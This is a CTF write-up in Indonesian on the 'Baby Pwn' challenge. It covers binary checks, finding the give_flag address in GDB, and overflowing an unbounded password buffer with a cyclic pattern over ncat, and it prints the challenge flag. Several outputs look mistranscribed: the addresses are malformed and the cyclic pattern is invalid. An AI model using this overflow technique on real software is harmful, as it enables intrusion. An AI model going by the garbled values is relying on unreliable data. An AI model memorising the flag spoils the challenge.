

Baby Pwn

Player: constantine

Kategori: Binary Exploitation

The screenshot shows a challenge card for a CTF competition. At the top left is a red-bordered button labeled "Challenge". To its right is the text "28 Solves". In the top right corner is a small red "X" icon. The challenge title "Baby pwn" is centered above a score of "230". A blue rectangular tag labeled "Baby" is positioned below the score. Below the title, the text "A very secure system indeed" is displayed. Underneath this text, there is some purple-colored exploit code:
author: BbayuGt

ncat babypwn.ctf.forestlab.com 5000 --ssl
The exploit code is followed by a blue button with a download icon and the word "chall". At the bottom of the card are two white rectangular buttons: one labeled "Flag" and another labeled "Submit".

Phase 1: Recon

Binary bernama *chall* meminta input password.

```
constantine ~/OprecForesty/Baby Pwn (solved) v3.13.7
22:31 > ./chall
Welcome to my very secure program!
Password: 
```

Selain itu kita lakukan pengecekan biner.

```
constantine ~/OprecForesty/Baby Pwn (solved) v3.13.7
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 30 Symbols No 0 2 chall
```

Output:

- PIE: enabled
- RELRO: partial
- Canary: none
- NX: enabled

No canary found membuat buffer overflow cukup memungkinkan.

Kita lanjut masuk GDB untuk cari keberadaan fungsi yang memberikan flag.

```
(gdb) b *main
Breakpoint 1 at 0x118f
(gdb) run
Starting program: /home/constantine/OprecForesty/Baby Pwn (solved)/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, 0x00005555555518f in main ()
(gdb) p/x win
No symbol table is loaded. Use the "file" command.
(gdb) p/x (void *) give_flag
$1 = 0x55555555179
(gdb) 
```

Alamat fungsi yang ingin kita tuju adalah:

0x55555555179

Phase 2: Vulnerability Analysis & Execution

Program membaca password ke buffer tanpa pembatas panjang input.
Ini memicu buffer overflow apabila data melebihi buffer.

Untuk mulai mencari offset, aku lempar *cyclic pattern* 200 byte.

```
constantine ~/OprecForestry/Baby_Pwn (solved) v3.13.7 22:38 > pwn cyclic 200  
aaaabaaacaaadaaaeaaafaagaaahaaiaajaaakaaalaamaanaaaaoaapaaaqaaaraasaataauuaavaaaawaaaxa
```

```
constantine ~/OprecForestry/Baby_Pwn (solved) v3.13.7 22:38 in 3s380ms > ncet babypwn.ctf.forestlab.com 5000 --ssl  
Welcome to my very secure program!  
Password: aaaabaaacaaadaaaeaaafaagaaahaaiaajaaakaaalaamaanaaaaoaapaaaqaaaraasaataauuaavaaaawaaaxa  
abhaabiaabjaabkaablaabmaabnaaboabpaabqaabraabsaabtaabuaabvaabwaabxa  
abyaab  
FORESTY{h0w_d1d_y0u_g3t_1n51d3_my_s7st3m?!_12788ad69abeaedef}
```

Namun terjadi hal yang cukup menarik:
program **tidak crash**, malah memberikan output valid. Sebelum aku buat Write-Up ini, program
akan crash saat ku inject pattern 200 byte itu.

Flag di depan mata kita:

FORESTY{h0w_d1d_y0u_g3t_1n51d3_my_s7st3m?!_12788ad69abeaedef}

Final Flag

FORESTY{h0w_d1d_y0u_g3t_1n51d3_my_s7st3m?!_12788ad69abeaedef}